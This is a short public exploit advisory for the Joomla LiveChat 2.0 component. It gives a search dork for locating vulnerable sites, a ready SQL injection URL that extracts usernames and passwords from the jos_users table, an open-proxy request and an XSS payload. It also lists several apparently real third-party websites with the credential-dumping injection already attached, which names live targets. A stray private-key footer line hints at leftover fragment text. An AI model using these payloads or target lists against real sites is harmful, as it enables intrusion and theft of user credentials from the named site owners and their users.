Joomla LiveChat 2.0 XSS / SQL Injection

                							

                
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                 INDEPENDENT SECURITY RESEARCHER 
                   PENETRATION TESTING SECURITY
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# Author: Ur0b0r0x
# Tiwtte: @Ur0b0r0x
# Email:  ur0b0r0x_@live.com
# Line:   GreyHat
# Home:   ur0b0r0x.blogspot.com


# Exploit Title: Joomla Component - LiveChat 2.0 Multilpes Vulnerabilities
# Dork: inurl:/components/com_livechat/
# Date: 05/01/2013
# Author: Ur0b0r0x
# info1:CVE-2008-6883
# info2:CVE-2012-6884
# Url Vendor: http://www.joompolitan.com/livechat.html
# Vendor Name: LiveChat
# Tested On: Backtrack R3 / Linux Mint
# Type: php

------------------- Agreement --------------------
[29/12/2012] - Vulnerability discovered
[04/01/2013] - Vendor notified Dont responsed
[05/01/2013] - Public disclosure 
--------------------------------------------------

# info1:CVE-2008-6883
Exploit/Sql:=> getChat.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3,4%20from%20jos_users
Explit/ Open Proxy:=> administrator/components/com_livechat/xmlhttp.php?GET$01$2$3$4$5$http://www.google.com

# info2:CVE-2012-6884
Exploit/Xss:=>  getChat.php?chat=0&last="><img src=x onerror=alert('XSS') />
Exploit/Disclosure:=> /home/site.com/public_html/administrator/components/com_livechat/

#Samples/Sql/Xss/OpenProxy/Xss
http://www.camarahotel.infocyclades.com/administrator/components/com_livechat/getChat.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3,4%20from%20jos_users
http://www.swissrack.ch/administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3%20from%20jos_users
http://www.radioviva.com.co/portal/administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3%20from%20jos_users
http://pmsicom.net/administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%20%29%20%29%E2%80%8B,3%20from%20jos_users
http://www.salento-casevacanze.it/administrator/components/com_livechat/getChat.php?chat=
http://www.perledipuglia.it/administrator/components/com_livechat/getChat.php?chat=
http://www.lucidtechnology.net/administrator/components/com_livechat/getChat.php?chat=
http://jatidiri.prophp.org/administrator/components/com_livechat/getChat.php?chat=


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-----END RSA PRIVATE KEY-----

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